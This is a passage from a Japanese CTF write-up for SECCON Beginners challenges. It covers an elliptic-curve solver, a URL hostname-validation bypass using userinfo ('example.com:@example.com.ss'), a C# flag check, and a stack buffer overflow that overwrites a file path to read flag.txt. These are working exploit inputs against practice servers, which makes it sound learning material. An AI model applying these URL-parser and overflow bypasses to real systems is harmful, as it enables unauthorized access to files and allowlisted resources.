P = Point(x, y, secp256k1)
Q = a * P
if a < 0:
    print("// a must be non-negative!")
    exit(1)
if P.x != Q.x:
    print("// x-coordinates do not match!")
    exit(1)
if P.y == Q.y:
    print("// P and Q are the same point!")
    exit(1)
print("flag =", flag)

与えられた $y$ に対する $x$ は 立方根を計算することで求まる.

solver.sage
# secp256k1 prime
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 # 位数
F = GF(p)
y = F(64113021656958798867216908193475868588458116237961285548369416356243964319959)
z = y^2 - 7

R.<X> = PolynomialRing(F)
f = X^3 - z
roots = f.roots()

if roots:
    x = roots[0][0] # (解,重複度)のタプルのリスト
    print("Found x:", int(x))
    print("n-1:", n-1)
else:
    print("No solution for x.")

# Found x: 47519497305917046196065964482720223974721953930099609061719618403847890333750
# n-1: 115792089237316195423570985008687907852837564279074904382605163141518161494336

よって,以下のように得られる.

$ nc elliptic4b.challenges.beginners.seccon.jp 9999
y = 64113021656958798867216908193475868588458116237961285548369416356243964319959
x = 47519497305917046196065964482720223974721953930099609061719618403847890333750
a = 115792089237316195423570985008687907852837564279074904382605163141518161494336
flag = ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}

misc

kingyo_sukui [644 Solve (100 beginner)]

scooping! http://kingyo-sukui.challenges.beginners.seccon.jp:33333

金魚すくいで正しい順に文字をすくうとflagになる.

開発者ツールで見ると,順番が書かれていた.

<div class="flag-container" id="flag-container">
    <div class="flag-char" data-index="16" style="left: 142.004px; top: 234.333px;">}</div>
    <div class="flag-char" data-index="14" style="left: 212.249px; top: 245.584px;">r</div>
    <div class="flag-char" data-index="3" style="left: 471.704px; top: 245.03px;">4</div>
    <div class="flag-char" data-index="1" style="left: 93.9794px; top: 347.381px;">t</div>
    <div class="flag-char" data-index="2" style="left: 211.187px; top: 24.672px;">f</div>
    <div class="flag-char" data-index="7" style="left: 104.975px; top: 277.571px;">4</div>
    <div class="flag-char" data-index="5" style="left: 283.312px; top: 109.482px;">{</div>
    <div class="flag-char" data-index="10" style="left: 216.414px; top: 45.3561px;">m</div>
    <div class="flag-char" data-index="0" style="left: 271.9px; top: 54.5546px;">c</div>
    <div class="flag-char" data-index="4" style="left: 159.43px; top: 209.986px;">b</div>
    <div class="flag-char" data-index="11" style="left: 153.112px; top: 234.26px;">a</div>
    <div class="flag-char" data-index="6" style="left: 207.959px; top: 159.728px;">n</div>
    <div class="flag-char" data-index="15" style="left: 178.28px; top: 150.448px;">1</div>
    <div class="flag-char" data-index="9" style="left: 379.457px; top: 329.116px;">u</div>
    <div class="flag-char" data-index="12" style="left: 390.8px; top: 64.0435px;">7</div>
    <div class="flag-char" data-index="13" style="left: 142.662px; top: 205.096px;">u</div>
    <div class="flag-char" data-index="8" style="left: 179.978px; top: 105.609px;">7</div>
</div>

ctf4b{n47uma7ur1}

url-checker [606 Solve (100 easy)]

有効なURLを作れますか?
nc url-checker.challenges.beginners.seccon.jp 33457

urlparse(user_input).hostname が example.com と同じではなく,example.comで始まるようにすればよい.

from urllib.parse import urlparse

print(
    r"""
 _   _ ____  _        ____ _               _             
| | | |  _ \| |      / ___| |__   ___  ___| | _____ _ __ 
| | | | |_) | |     | |   | '_ \ / _ \/ __| |/ / _ \ '__|
| |_| |  _ <| |___  | |___| | | |  __/ (__|   <  __/ |   
 \___/|_| \_\_____|  \____|_| |_|\___|\___|_|\_\___|_|   

allowed_hostname = "example.com"                                                         
>> """,
    end="",
)

allowed_hostname = "example.com"
user_input = input("Enter a URL: ").strip()
parsed = urlparse(user_input)

try:
    if parsed.hostname == allowed_hostname:
        print("You entered the allowed URL :)")
    elif parsed.hostname and parsed.hostname.startswith(allowed_hostname):
        print(f"Valid URL :)")
        print("Flag: ctf4b{dummy_flag}")
    else:
        print(f"Invalid URL x_x, expected hostname {allowed_hostname}, got {parsed.hostname if parsed.hostname else 'None'}")
except Exception as e:
    print("Error happened")
$ nc url-checker.challenges.beginners.seccon.jp 33457

 _   _ ____  _        ____ _               _
| | | |  _ \| |      / ___| |__   ___  ___| | _____ _ __
| | | | |_) | |     | |   | '_ \ / _ \/ __| |/ / _ \ '__|
| |_| |  _ <| |___  | |___| | | |  __/ (__|   <  __/ |
 \___/|_| \_\_____|  \____|_| |_|\___|\___|_|\_\___|_|

allowed_hostname = "example.com"
>> Enter a URL: https://example.com.ss
Valid URL :)
Flag: ctf4b{574r75w17h_50m371m35_n07_53cur37}

url-checker2 [524 Solve (100 medium)]

有効なURLを作れますか? Part2
nc url-checker2.challenges.beginners.seccon.jp 33458

urlparse(user_input).hostname が example.com と同じではなく,example.comで始まるようにする.

さらに,urlparse(user_input).netloc を : で分割した最初の要素は example.com と同じである必要がある.

from urllib.parse import urlparse

print(
    r"""
 _   _ ____  _        ____ _               _            ____  
| | | |  _ \| |      / ___| |__   ___  ___| | _____ _ _|___ \ 
| | | | |_) | |     | |   | '_ \ / _ \/ __| |/ / _ \ '__|__) |
| |_| |  _ <| |___  | |___| | | |  __/ (__|   <  __/ |  / __/ 
 \___/|_| \_\_____|  \____|_| |_|\___|\___|_|\_\___|_| |_____|
                                                              
allowed_hostname = "example.com"                                                         
>> """,
    end="",
)

allowed_hostname = "example.com"
user_input = input("Enter a URL: ").strip()
parsed = urlparse(user_input)

# Remove port if present
input_hostname = None
if ':' in parsed.netloc:
    input_hostname = parsed.netloc.split(':')[0]

try:
    if parsed.hostname == allowed_hostname:
        print("You entered the allowed URL :)")
    elif input_hostname and input_hostname == allowed_hostname and parsed.hostname and parsed.hostname.startswith(allowed_hostname):
        print(f"Valid URL :)")
        print("Flag: ctf4b{dummy_flag}")
    else:
        print(f"Invalid URL x_x, expected hostname {allowed_hostname}, got {parsed.hostname if parsed.hostname else 'None'}")
except Exception as e:
    print("Error happened")

URLでは以下のような形式をとることができる.

scheme://username:password@hostname:port/path?query#fragment

よって,https://example.com:@example.com.ssとすればよい.

$ nc url-checker2.challenges.beginners.seccon.jp 33458

 _   _ ____  _        ____ _               _            ____
| | | |  _ \| |      / ___| |__   ___  ___| | _____ _ _|___ \
| | | | |_) | |     | |   | '_ \ / _ \/ __| |/ / _ \ '__|__) |
| |_| |  _ <| |___  | |___| | | |  __/ (__|   <  __/ |  / __/
 \___/|_| \_\_____|  \____|_| |_|\___|\___|_|\_\___|_| |_____|

allowed_hostname = "example.com"
>> Enter a URL: https://example.com:@example.com.ss
Valid URL :)
Flag: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}

reversing

CrazyLazyProgram1 [654 Solve (100 beginner)]

改行が面倒だったのでワンライナーにしてみました。

using System;class Program {static void Main() {int len=0x23;Console.Write("INPUT > ");string flag=Console.ReadLine();if((flag.Length)!=len){Console.WriteLine("WRONG!");}else{if(flag[0]==0x63&&flag[1]==0x74&&flag[2]==0x66&&flag[3]==0x34&&flag[4]==0x62&&flag[5]==0x7b&&flag[6]==0x31&&flag[7]==0x5f&&flag[8]==0x31&&flag[9]==0x69&&flag[10]==0x6e&&flag[11]==0x33&&flag[12]==0x72&&flag[13]==0x35&&flag[14]==0x5f&&flag[15]==0x6d&&flag[16]==0x61&&flag[17]==0x6b&&flag[18]==0x33&&flag[19]==0x5f&&flag[20]==0x50&&flag[21]==0x47&&flag[22]==0x5f&&flag[23]==0x68&&flag[24]==0x61&&flag[25]==0x72&&flag[26]==0x64&&flag[27]==0x5f&&flag[28]==0x32&&flag[29]==0x5f&&flag[30]==0x72&&flag[31]==0x33&&flag[32]==0x61&&flag[33]==0x64&&flag[34]==0x7d){Console.WriteLine("YES!!!\nThis is Flag :)");}else{Console.WriteLine("WRONG!");}}}}

ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}

pwnable

pet_name [586 Solve (100 beginner)]

ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。
nc pet-name.challenges.beginners.seccon.jp 9080

スタックのバッファオーバーフローで文字列を上書きする.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init() {
    // You don't need to read this because it's just initialization
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
}

int main() {
    init();

    char pet_name[32] = {0};
    char path[128] = "/home/pwn/pet_sound.txt";

    printf("Your pet name?: ");
    scanf("%s", pet_name);

    FILE *fp = fopen(path, "r");
    if (fp) {
        char buf[256] = {0};
        if (fgets(buf, sizeof(buf), fp) != NULL) {
            printf("%s sound: %s\n", pet_name, buf);
        } else {
            puts("Failed to read the file.");
        }
        fclose(fp);
    } else {
        printf("File not found: %s\n", path);
    }
    return 0;
}

32バイト分だけパディングすればよい.

$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: 12345678901234567890123456789012/home/pwn/flag.txt
12345678901234567890123456789012/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}
SecurityProgrammingCTFwriteupseccon

しゅたるく (Stark)

目次

CTF&HTB Tools まとめ

忘れられないの/サカナクション ギターコード

comments powered by Disqus